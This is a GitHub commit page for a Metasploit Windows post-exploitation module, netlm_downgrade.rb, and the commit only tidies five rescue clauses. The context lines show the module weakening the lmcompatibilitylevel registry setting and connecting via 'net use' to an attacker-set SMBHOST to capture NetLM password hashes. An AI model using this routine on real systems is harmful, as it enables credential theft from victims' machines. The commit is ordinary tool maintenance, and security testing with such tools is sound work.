Skip to content

Commit 73b4a9d

Browse files
committed
cleaned up rescue statements
1 parent 16c5879 commit 73b4a9d

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/post/windows/gather/netlm_downgrade.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def smb_connect
5050
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
5151
cmd_exec("cmd.exe","/c net use * \\\\#{datastore['SMBHOST']}\\ipc$")
5252
print_status("The SMBHOST should now have NetLM hashes")
53-
rescue ::Exception => e
53+
rescue
5454
print_error("Issues establishing SMB connection")
5555
end
5656
end
@@ -67,7 +67,7 @@ def run
6767
v_name = "lmcompatibilitylevel"
6868
begin
6969
netlm = registry_getvaldata(subkey, v_name)
70-
rescue ::Exception => e
70+
rescue
7171
print_error("Issues enumerating registry values")
7272
end
7373

@@ -80,14 +80,14 @@ def run
8080
begin
8181
print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
8282
registry_setvaldata(subkey,v_name,0,"REG_DWORD")
83-
rescue ::Exception => e
83+
rescue
8484
print_error("Issues modifying registry value")
8585
end
8686

8787
begin
8888
post_netlm = registry_getvaldata(subkey, v_name)
8989
print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
90-
rescue ::Exception => e
90+
rescue
9191
print_error("Issues enumerating registry values")
9292
end
9393

@@ -98,7 +98,7 @@ def run
9898
begin
9999
registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
100100
print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
101-
rescue ::Exception => e
101+
rescue
102102
print_error("Issues cleaning up registry changes")
103103
end
104104
end

0 commit comments

Comments
 (0)